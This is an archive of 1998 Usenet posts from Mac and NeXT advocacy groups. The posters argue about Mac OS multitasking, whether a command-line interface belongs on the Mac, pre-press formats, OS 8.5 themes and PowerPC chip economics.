> task-switching system can do. Why anybody bothers to discuss this is
> beyond me, since any OS worth a dime can do that (as I said, my Apple II
> can do it).
On openstep you can switch to other apps while burning a cd, on the mac
you cant.
> Multitasking is not the same as task switching. As you are doubtless
> aware, a multitasking OS allows programs to use CPU time in the background.
> My assumption was that when people talk about task-switching OSes they are
> talking about OSes that cannot multitask (otherwise, you'd just say
> "multitasking OS", wouldn't you?).
I dont understand what you mean here. The macos can multitask, AND it can
task switch. Their just happen to be some cases where it cant multitask
or task switch, in certain rare conditions.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 11 Sep 1998 19:33:32 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6tbtuc$i96$3@news.mxol.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com>
sal@panix.com (Sal Denaro) wrote:
>On Thu, 10 Sep 1998 19:56:00 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>>John Heaney wrote:
>>> Why does Apple need to ship it to every single user when the distinction
>>> of the MacOS from everything else is its ease of use via the GUI? What
>>> possible motive would they have?
>>
>>Chuck Swiger said that it is important to him to have a capable GUI and
>>a capable CLI.
>
>Chuck Swiger is not a normal user.
Of course not-- sysadmins are superusers! :-)
> While I am sure that Chuck wants a CLI, I doubt that he wants to put a CLI
> in front of John and Mary six pack.
>
>Chuck, if I am wrong please correct me.
I don't want to force normal users to use a CLI, no. I want a CLI to be
available on all of the machines I deal with so I can fix things remotely. I
also want a CLI on the machines I use personally (as opposed to administering)
because I find it useful for many tasks.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Fri, 11 Sep 1998 18:03:25 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F9AC3D.8593934@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net> <6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net> <35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net>
Mime-Version: 1.0
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William Edward Woody wrote:
> I said "depreciated", not "eliminated," and my discussion was
> about providing a GUI for editor-style applications as well
> as properly integrating the editor-style GUI into the Finder.
I never mentioned elimination. I don't know what you're talking about.
AppleScript is as much scripting as Perl or csh scripting is scripting.
The seminal example of a CLI in this thread was a script. What I want to
know is how AppleScripts are fundamentally different from CLI scripting.
Can you answer or no?
> Please read what I write next time before putting words into my
> mouth and before leaping to conclusions. It would help this
> discussion be a little more civil.
Like I said, I don't have any difficulty being civil. Keep it to
yourself, it's none of my business.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: CISC vs RISC
Date: Fri, 11 Sep 1998 18:04:47 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F9AC8F.BE4CB08E@ericsson.com>
References: <B20F0ECF-11F9DE@208.193.147.160> <35f1a1e8.388665015@198.0.0.100> <joe.ragosta-0309981438080001@wil32.dol.net> <MPG.1058c7a96b77dd0d9897a7@news.itg.ti.com> <joe.ragosta-0709980738260001@elk79.dol.net> <MPG.105e06794f636f579896f9@news.ont.com> <joe.ragosta-0709981722180001@elk38.dol.net> <35F55CA5.F11D2C8F@rochester.rr.com> <joe.ragosta-0809981344100001@wil70.dol.net> <MPG.105f31793dc66aff9897aa@news.itg.ti.com> <joe.ragosta-0809981506290001@wil40.dol.net> <35F6BC03.CBD36DBA@cennet.com> <MPG.1060938f9af30e2e9897b0@news.itg.ti.com> <joe.ragosta-0909981625090001@wil56.dol.net> <MPG.1060b50cd5dcd9999897b2@news.itg.ti.com> <ericb-1009981601360001@128.253.86.98> <MPG.1061ece0ab9734119897be@news.itg.ti.com> <joe.ragosta-1009981624500001@wil127.dol.net> <macghod-1009982300130001@sdn-ar-001casbarp205.dialsprint.net> <ericb-1109981353490001@128.253.86.98> <macghod-1109981227090001@sdn-ar-002casbarp266.dialsprint.net> <macghod-1109981539170001@sdn-ar-001casbarp259.dialsprint.net>
Mime-Version: 1.0
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Steve Sullivan wrote:
[cut]
> I dont understand what you mean here. The macos can multitask, AND it can
> task switch. Their just happen to be some cases where it cant multitask
> or task switch, in certain rare conditions.
During any I/O operations, for instance. Not so rare.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 98 15:39:48 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21EFDEE-40D6@206.165.43.62>
References: <35F98178.84E42983@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Michael Peck <Michael.Peck@ericsson.com> said:
>
>The reason for all of this is that (speaking very generally) most
>human-readable languages are read in by a finite-automata parser,
>whereas binary formats are not languages at all; they are actually data
>organized according to an algorithm, and the reader is nothing more than
>an algorithm. Since most algorithms are designed for efficiency rather
>than flexibility, binary formats are generally less forgiving.
That's kinda what I was trying to say...
Of course, there are other tradeoffs that we haven't covered, such as
ease-of-use for the end-user (pre-press person) vs robustness of the
proposed format.
Is it better to instill some default structure on the pre-press format so
that the end-user can easily script and automate tasks (ala my proposed
QuickTime scripting option) or should this be left to the individual
application that he is using to recreate and manipulate the pre-press
image?
Or can is this a true dichotomy of design parameters? Can
ease-of-use/ease-of-editing and robustness-of-features all be accomidated
within the same pre-press design?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 98 16:23:46 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21EFF1B-8783@206.165.43.62>
References: <6tc3fl$otr$1@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Marcel Weiher <marcel@cs.tu-berlin.de> said:
>
>[..]
>
>>The interesting thing is that the XML image could STILL be embedded
>within
>>PDF as a custom object, so that Carbon apps would be able to use the PDF
>>format while YB apps could use the XML. If OpenDoc-like "promises" were
>>provided for in the YB clipboard, an app could defer which format to use
>>until the image was actually used (or the app quit). That could save a
lot
>>of memory.
>
>What do you mean 'if'? The NeXTStep clipboard has had 'promises' as
>you call them at least since 1991, and I suspect they were there
>from the very beginning.
>
Fair enough.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 98 16:24:47 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21EFF58-95D3@206.165.43.62>
References: <B21EE360-CB00@206.165.43.178>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
I said:
>
>
>Is this the nature of human-readable protocols are an artifact of specific
>ones that you are thinking of?
Should have read "...protocols OR an artifact..." [3 hours sleep]
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 11 Sep 98 16:40:35 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21F030C-174A9@206.165.43.62>
References: <heaney-1109981237170001@24.0.246.137>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
John Heaney <heaney@SolidObject.com> said:
>It has been shown that logic does not
>come naturally to humans (it is not intuitive); it is learned and must be
>practiced. Most people do not have the basis for the level of logic
>required to easily learn a CLI. That's why we get paid the big bucks. :)
>It's not that Michael is smarter; he is merely differen
Of course he's "smarter," but not neceessarily on the standard IQ test.
Assuming that CLI-using ability fits the standard bell curve, we can say
that some are "smarter" than others by where they are on that bell curve.
It would be interesting to see if CLI-using ability peaks at age 16 like
many other measures of intelligence do.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: arlo@rcontinuum.com (Arlo Rose)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Appearance and Themes (was: Re: bummer of os 8.5 gm)
Date: Fri, 11 Sep 1998 16:43:45 -0700
Organization: The Rose Continuum
Message-ID: <arlo-1109981643450001@cm40133.cableco-op.com>
References: <forrestDELETE-THIS!-1109980100490001@term1-27.vta.west.net> <B21EE1E9-31A60@209.109.224.169>
In article <B21EE1E9-31A60@209.109.224.169>, "Benjamin Smith"
<benjs@ix.netcom.com> wrote:
>This clears up alot. Thanks. So, primarily the high tech and gizmo, the
>latter formerly known as I think the Children's theme, are relics of
>Copland and not well suited for the Themes 2.0 API and Apple has some more
>up to date themes that will support Themes 2.0 API that may make it into
>Allegro, but probably will make it into the update.
Well... no, that's not the case at all.
What's happening is that Steve Jobs doesn't like how crappy and outdated
Gizmo, Hi-Tech, and the other themes that were done look, and has told the
Appearance team not to ship them.
Not a big surprise considering his reaction the first time I showed him Gizmo.
All I have to say is congratulations Apple, on finally shipping theme
switching support, it's too bad there are no themes for it!
If you want switchable appearances under 8.5 with almost no patching, look
for the next release of Kaleidoscope. Our 8.5 engine runs straight off the
Appearance 1.1 APIs.
Oh and there is not Appearance 2.0 at this time. The Appearance that ships
with 8.5 is version 1.1.
Cheers,
Arlo Rose
--
_______________________________________________________
The Rose Continuum
Human Interface & Interaction Design
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.os.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: CISC vs RISC
Date: Fri, 11 Sep 1998 20:04:42 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1109982004420001@pelli.pathology.pitt.edu>
References: <B20F0ECF-11F9DE@208.193.147.160> <joe.ragosta-0309981438080001@wil32.dol.net> <MPG.1058c7a96b77dd0d9897a7@news.itg.ti.com> <joe.ragosta-0709980738260001@elk79.dol.net> <MPG.105e06794f636f579896f9@news.ont.com> <joe.ragosta-0709981722180001@elk38.dol.net> <35F55CA5.F11D2C8F@rochester.rr.com> <joe.ragosta-0809981344100001@wil70.dol.net> <MPG.105f31793dc66aff9897aa@news.itg.ti.com> <joe.ragosta-0809981506290001@wil40.dol.net> <35F6BC03.CBD36DBA@cennet.com> <MPG.1060938f9af30e2e9897b0@news.itg.ti.com> <joe.ragosta-0909981625090001@wil56.dol.net> <MPG.1060b50cd5dcd9999897b2@news.itg.ti.com> <ericb-1009981601360001@128.253.86.98> <MPG.1061ece0ab9734119897be@news.itg.ti.com> <joe.ragosta-1009981624500001@wil127.dol.net> <macghod-1009982300130001@sdn-ar-001casbarp205.dialsprint.net> <ericb-1109981353490001@128.253.86.98> <macghod-1109981227090001@sdn-ar-002casbarp266.dialsprint.net> <macghod-1109981539170001@sdn-ar-001casbarp259.dialsprint.net> <35F9AC8F.BE4CB08E@ericsson.com>
Mail-Copies-To: pxpst2@unixs.cis.pitt.edu
In article <35F9AC8F.BE4CB08E@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Steve Sullivan wrote:
>
> [cut]
>
> > I dont understand what you mean here. The macos can multitask, AND it can
> > task switch. Their just happen to be some cases where it cant multitask
> > or task switch, in certain rare conditions.
>
> During any I/O operations, for instance. Not so rare.
>
That is not true, I can write a disk and launch a program or switch from
one program to another.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
Date: Fri, 11 Sep 1998 20:06:19 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Appearance and Themes (was: Re: bummer of os 8.5 gm)
Message-ID: <joe.ragosta-1109982006190001@elk79.dol.net>
References: <forrestDELETE-THIS!-1109980100490001@term1-27.vta.west.net> <B21EE1E9-31A60@209.109.224.169>
In article <B21EE1E9-31A60@209.109.224.169>, "Benjamin Smith"
<benjs@ix.netcom.com> wrote:
> This clears up alot. Thanks. So, primarily the high tech and gizmo, the
> latter formerly known as I think the Children's theme, are relics of
> Copland and not well suited for the Themes 2.0 API and Apple has some more
> up to date themes that will support Themes 2.0 API that may make it into
> Allegro, but probably will make it into the update.
>
> It would be nice if Apple just releases the themes when they are ready (I'm
> curious about Architect). If that's months before the release of 8.6 fine.
> OS X follows 8.6 anyway and I'm not so sure how many people are going to
> upgrade to 8.6.
There were rumors that Apple would sell a "Theme CD" something like Plus
Pack for Windows. I don't have any information one way or the other, but
that would be interesting.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: mteh@earthlink.net (Oliver M. Sun)
Newsgroups: comp.sys.mac.advocacy,comp.os.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: CISC vs RISC
Date: Fri, 11 Sep 1998 18:47:10 -0500
Organization: EarthLink Network, Inc.
Message-ID: <mteh-ya02408000R1109981847100001@news.earthlink.net>
References: <35f1a1e8.388665015@198.0.0.100> <joe.ragosta-0309981438080001@wil32.dol.net> <MPG.1058c7a96b77dd0d9897a7@news.itg.ti.com> <joe.ragosta-0709980738260001@elk79.dol.net> <MPG.105e06794f636f579896f9@news.ont.com> <joe.ragosta-0709981722180001@elk38.dol.net> <35F55CA5.F11D2C8F@rochester.rr.com> <joe.ragosta-0809981344100001@wil70.dol.net> <MPG.105f31793dc66aff9897aa@news.itg.ti.com> <joe.ragosta-0809981506290001@wil40.dol.net> <35F6BC03.CBD36DBA@cennet.com> <MPG.1060938f9af30e2e9897b0@news.itg.ti.com> <joe.ragosta-0909981625090001@wil56.dol.net> <MPG.1060b50cd5dcd9999897b2@news.itg.ti.com> <ericb-1009981601360001@128.253.86.98> <MPG.1061ece0ab9734119897be@news.itg.ti.com> <joe.ragosta-1009981624500001@wil127.dol.net> <macghod-1009982300130001@sdn-ar-001casbarp205.dialsprint.net> <ericb-1109981353490001@128.253.86.98> <macghod-1109981227090001@sdn-ar-002casbarp266.dialsprint.net> <macghod-1109981539170001@sdn-ar-001casbarp259.dialsprint.net> <35F9AC8F.BE4CB08E@ericsson.com>
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In article <35F9AC8F.BE4CB08E@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>Steve Sullivan wrote:
>
>[cut]
>
>> I dont understand what you mean here. The macos can multitask, AND it can
>> task switch. Their just happen to be some cases where it cant multitask
>> or task switch, in certain rare conditions.
>
>During any I/O operations, for instance. Not so rare.
>
>MJP
Not so. For example, the serial driver since the Quadra AV and original
Power Mac designs has supported DMA. SCSI DMA support has existed for at
least that long. Finder copies? Fully threaded in OS 8. Ethernet works
fine as well.
Using LocalTalk (off the serial ports) does tend to bog down the OS a bit.
The big deficiency would be with floppy operations, e.g. inserting
floppies, formatting, etc.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: HI BITCHES, COME FUCK ME
Date: 11 Sep 1998 03:45:50 GMT
Organization: I don't think so
Message-ID: <slrn6vh7h5.ci.jason@jhste1.dyn.ml.org>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net> <35F767A9.F72D95C@nstar.net> <6ta4m1$rbf@news1.panix.com> <bdz-8999655564431236@hell-flame-wars.org>
BshutDupZwhore posted the following to comp.sys.mac.advocacy:
>WHO GIVES A FUCKING SHIT! Lets talk about SEX. GAY SEX! Hey Tom Elam,
>come here, I wanna butt fuck you. You sound like you need it. Fuckin
>troll.
Ah, the New Rizzo(tm).
*plonk*
--
"Down the left field line -- Is it enough? -- Gone!"
-- Joe Buck
From: gregorylo@sympatico.ca (Gregory Lo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <gregorylo-1109980012560001@cpu2522.adsl.bellglobal.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137>
Date: Fri, 11 Sep 1998 04:12:49 GMT
NNTP-Posting-Date: Fri, 11 Sep 1998 00:12:49 EDT
Organization: Bell Solutions
In article <heaney-1009982019280001@24.0.246.137>, heaney@SolidObject.com
(John Heaney) wrote:
>I can't help it; I think this is bizarre. How is a CLI going to help a Mac
>user.
How would it hinder them, if they didn't it was present?
>You expect them to then
>drop into a CLI interface occasionally to work more efficiently?
No. I only expect some users (like me) to drop into a CLI occasionaly.
>An
>occasional CLI user is supposed to be able to do what amounts to scripting
>with unix?
That's what AppleScript, Frontier, QuickKeys, and MacPerl are for.
>I really don't
>see the benefits here.
Nobody is forcing anyone to abandon a GUI. That's what end users expect
and they drive sales. However, CLI-proponents are users too, and they
shouldn't be screwed over without good reason.
>There is a small population of users that will
>benefit by having unix around; most likely running as a process under the
>MacOS.
You probably mean a CLI, not all of UNIX.
>These users will get it one way or another. At the very least,
>you'll be able to get linux. I don't even see a problem here. Why does
>Apple need to ship it to every single user when the distinction of the
>MacOS from everything else is its ease of use via the GUI? What possible
>motive would they have?
I can't remember the last time I used or needed to use ColorSync.
However, it's a very important tool for a great many professionals - makes
their lives easier, and allows them to be more productive. Most end-users
need never concern themselves about this (if they even know that this
faciliy exists). Insisting that this feature be _removed_ (not merely
hidden) because one can't see how it would benefit one's own inflexible
habits becomes tiresome after a while.
GLo
From: datamagik@usa.net (Jay Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What Motorola is doing with PowerPC
Date: Fri, 11 Sep 1998 21:03:07 -0600
Organization: DATAMAGIK € Systems, Software, & Design Engineering
Message-ID: <datamagik-1109982103070001@norlm350mac20.colorado.edu>
References: <6t990t$g1o@newsb.netnews.att.com>
In article <6t990t$g1o@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> http://www.eet.com/news/98/1025news/motorola.html
>
> "Motorola spins PowerPC for high-end switches and routers".
>
> Next week, Motorola will introduce the MPC8260, PowerQuicc II, which is
> a 603e core and a 32-bit RISC based networking engine --
> "a RISC serial communications controller that handles Layer 1
> and 2 communications".
>
> Quotes :
>
> "For Motorola in particular, the networking market has been
> a true find. "PowerPC sales on the network are going through
> the roof," Cambou said. [Motorola VP of network and computing
> systems group].
>
> ....
>
> "Networking companies, usually working with real-time operating
> systems or even their own house OS, are willing to shop outside
> the Intel architecture, Cambou said, giving Motorola the chance
> to tout the PowerPC's small size and low power dissipation,
> features often sacrificed for the sake of Windows compatibility."
>
> ....
>
> "In fact it's the promise of networking that drove Motorola to
> develop the AltiVec instruction set being added to the next generation
> of PowerPC. The idea hads its genesis three years ago, when Motorola
> began tapping the likes of Cisco Systems Inc. and Bay Networks Inc.
> for the upcoming requirements of internetworking hardware."
>
> End quotes.
>
> -arun gupta
I'm stilling waiting to see if they use a member of the PowerPC PowerQuicc
family for Apple's yet to be announced "eMac" hand held MacOS system.
It is a delight to watch AIM (the Apple/IBM/Motorola) consortium continue
to innovate and "push the envelope" of processor design!
Regards,
Jay Riley/Owner, DATAMAGIK
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 datamagik@usa.net
Date: Thu, 10 Sep 1998 21:27:27 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <stevehix-1009982127280001@192.168.1.10>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news> <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu> <joe.ragosta-1009981016020001@wil49.dol.net> <01bddd04$96242200$a672fe8c@watts.67.acs.ohio-state.edu>
Organization: Close to None
In article <01bddd04$96242200$a672fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote in article
> <joe.ragosta-1009981016020001@wil49.dol.net>...
> >
> > I don't know about that. It [Merced] was originally scheduled for 1999.
> Then 2000.
> > Now, InfoWorld says that the first version that will be any good will be
> > 2001.
>
> And that is just informed speculation on InfoWorld's part.
Pretty good from what I've heard from the software/hardware guys at work
who've been following Merced and its followup for quite a while.
> There are all
> sorts of predictions about Merced (anywhere from out in mid-1999 to never
> released at all, in favor of the second generation McKinley processor due
> in 2001 (maybe)). Nobody will know until it's actually released.
No, but the followon looks to be a better bet at this point.
Date: Thu, 10 Sep 1998 21:30:30 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <stevehix-1009982130300001@192.168.1.10>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu>
Organization: Close to None
In article <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Pulsar <pulsar@springnet1.com> wrote in article
> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu>...
> >
> > IBM and Motorola don't give a damn about market share. That's Apple's
> > worry. IBM and Motorola care about volume. The more they sell the happier
> > they are. The market share issue wouldn't be an issue for the Mac either
> if
> > it weren't for software.
> >
>
> ????
>
> Are you saying that is possible to have volume without market share?
Sure, if the market is big enough.
Else you'd never see things like Mercedes, Ferrari, Lambos, etc.
> If
> so, you are saying that if the PPC chip has a zero market share, it is
> still possible to have a high volume. I don't follow this logic.
That's not what he said at all.
"Market share" is unimportant *as long as the volumes are high
enough".
Date: Thu, 10 Sep 1998 21:31:27 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <stevehix-1009982131280001@192.168.1.10>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu>
Organization: Close to None
In article <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Andrew McCormick <smileyy@ix.netcom.com> wrote in article
> <smileyy-1009981912370001@192.168.0.2>...
> >
> > If Mot can sell 10 million (or whatever) chips and be profitable, then it
> > doesn't matter whether 10,000 or 10 billion of the competetion's chips
> are
> > being sold, as long as Mot can continue to sell 10 million and be
> > profitable.
> >
>
> And you believe that Motorola can sell 10 million PPC chips with a *zero*
> market share?
No, the market share has to be non-zero, but beyond that it is
irrelevant...*as long as the volume is high enough*.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 10 Sep 1998 19:55:18 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1009981955180001@news-proxy.cso.uiuc.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu> <01bddd17$c7634540$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981914510001@news-proxy.cso.uiuc.edu> <01bddd1a$c049eb80$a672fe8c@watts.67.acs.ohio-state.edu>
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In article <01bddd1a$c049eb80$a672fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Pulsar <pulsar@springnet1.com> wrote in article
<snip>
>
> Unless you work for IBM or Motorola you don't know what they are worried
> about. There is also more to processor sales than just instantaneous
> volume levels. If market share declines too much, regardless of volume,
> there will be far fewer developers writing software for the chip. Apple
> came very close to going below critical market share a while back. If
> Apple's market share declines again, Motorola could be in serious trouble
> (with respect to the PPC), whereas IBM might be able to stick it out
> considering the huge markup it gets on PPC servers and worstations. Market
> share mean mindshare; lose mindshare in the high-tech industry and you
> eventually lose everything.
